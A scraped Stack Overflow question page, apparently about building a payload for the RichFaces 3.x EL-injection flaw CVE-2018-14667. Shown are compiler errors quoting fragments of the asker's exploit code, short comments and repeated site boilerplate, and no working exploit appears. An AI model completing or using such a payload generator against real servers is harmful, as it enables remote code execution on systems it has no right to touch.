symbol: class TagMethodExpression
location: class Main
Main.java:51: error: cannot find symbol
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
^
symbol: class FacesContext
location: class Main
Main.java:59: error: cannot find symbol
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:59: error: cannot find symbol
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:60: error: cannot find symbol
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:60: error: cannot find symbol
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:61: error: cannot find symbol
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
^
symbol: class TagValueExpression
location: class Main
Main.java:61: error: cannot find symbol
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
^
symbol: class TagValueExpression
location: class Main
Main.java:65: error: cannot find symbol
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:65: error: cannot find symbol
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
^
symbol: class TagAttribute
location: class Main
Main.java:66: error: cannot find symbol
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:66: error: cannot find symbol
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
^
symbol: class ValueExpressionImpl
location: class Main
Main.java:67: error: cannot find symbol
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
^
symbol: class TagValueExpression
location: class Main
Main.java:67: error: cannot find symbol
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
^
symbol: class TagValueExpression
location: class Main
Main.java:71: error: package UserResource does not exist
UserResource.UriData uriData = new UserResource.UriData();
^
Main.java:71: error: package UserResource does not exist
UserResource.UriData uriData = new UserResource.UriData();
^
Main.java:103: error: cannot find symbol
byte dataArray = URL64Codec.encodeBase64(zipsrc);
^
symbol: variable URL64Codec
location: class Main
42 errors
java bash jboss richfaces exploit
java bash jboss richfaces exploit
asked Nov 21 '18 at 5:35
GeraldGerald
216
asked Nov 21 '18 at 5:35
GeraldGerald
216
edited Nov 21 '18 at 21:07
Gerald
asked Nov 21 '18 at 5:35
GeraldGerald
216
asked Nov 21 '18 at 5:35
GeraldGerald
216
asked Nov 21 '18 at 5:35
GeraldGerald
216
216
Is this in FireFox? Can you try Chrome or IE?
– JGlass
Nov 21 '18 at 15:26
Yes, still same issue. The payload mentioned in seclists.org/fulldisclosure/2018/Nov/47 works, but I am trying to figure out how to generate my own payload
– Gerald
Nov 21 '18 at 16:47
Where is the java documentation for using zlib if you have it, I'm not finding it
– JGlass
Nov 21 '18 at 17:35
add a comment |
Is this in FireFox? Can you try Chrome or IE?
– JGlass
Nov 21 '18 at 15:26
Yes, still same issue. The payload mentioned in seclists.org/fulldisclosure/2018/Nov/47 works, but I am trying to figure out how to generate my own payload
– Gerald
Nov 21 '18 at 16:47
Where is the java documentation for using zlib if you have it, I'm not finding it
– JGlass
Nov 21 '18 at 17:35
Is this in FireFox? Can you try Chrome or IE?
– JGlass
Nov 21 '18 at 15:26
Is this in FireFox? Can you try Chrome or IE?
– JGlass
Nov 21 '18 at 15:26
Yes, still same issue. The payload mentioned in seclists.org/fulldisclosure/2018/Nov/47 works, but I am trying to figure out how to generate my own payload
– Gerald
Nov 21 '18 at 16:47
Yes, still same issue. The payload mentioned in seclists.org/fulldisclosure/2018/Nov/47 works, but I am trying to figure out how to generate my own payload
– Gerald
Nov 21 '18 at 16:47
Where is the java documentation for using zlib if you have it, I'm not finding it
– JGlass
Nov 21 '18 at 17:35
Where is the java documentation for using zlib if you have it, I'm not finding it
– JGlass
Nov 21 '18 at 17:35
add a comment |
0
active
oldest
votes
Your Answer
StackExchange.ifUsing("editor", function () {
StackExchange.using("externalEditor", function () {
StackExchange.using("snippets", function () {
StackExchange.snippets.init();
});
});
}, "code-snippets");
StackExchange.ready(function() {
var channelOptions = {
tags: "".split(" "),
id: "1"
};
initTagRenderer("".split(" "), "".split(" "), channelOptions);
StackExchange.using("externalEditor", function() {
// Have to fire editor after snippets, if snippets enabled
if (StackExchange.settings.snippets.snippetsEnabled) {
StackExchange.using("snippets", function() {
createEditor();
});
}
else {
createEditor();
}
});
function createEditor() {
StackExchange.prepareEditor({
heartbeatType: 'answer',
autoActivateHeartbeat: false,
convertImagesToLinks: true,
noModals: true,
showLowRepImageUploadWarning: true,
reputationToPostImages: 10,
bindNavPrevention: true,
postfix: "",
imageUploader: {
brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
allowUrls: true
},
onDemand: true,
discardSelector: ".discard-answer"
,immediatelyShowMarkdownHelp:true
});
}
});
draft saved
draft discarded
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f53405806%2fcve-2018-14667-generating-a-valid-payload-for-richfaces-3-x%23new-answer', 'question_page');
}
);
Post as a guest
Required, but never shown
0
active
oldest
votes
0
active
oldest
votes
active
oldest
votes
active
oldest
votes
draft saved
draft discarded
Thanks for contributing an answer to Stack Overflow!
- Please be sure to answer the question. Provide details and share your research!
But avoid …
- Asking for help, clarification, or responding to other answers.
- Making statements based on opinion; back them up with references or personal experience.
To learn more, see our tips on writing great answers.
draft saved
draft discarded
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f53405806%2fcve-2018-14667-generating-a-valid-payload-for-richfaces-3-x%23new-answer', 'question_page');
}
);
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Is this in FireFox? Can you try Chrome or IE?
– JGlass
Nov 21 '18 at 15:26
Yes, still same issue. The payload mentioned in seclists.org/fulldisclosure/2018/Nov/47 works, but I am trying to figure out how to generate my own payload
– Gerald
Nov 21 '18 at 16:47
Where is the java documentation for using zlib if you have it, I'm not finding it
– JGlass
Nov 21 '18 at 17:35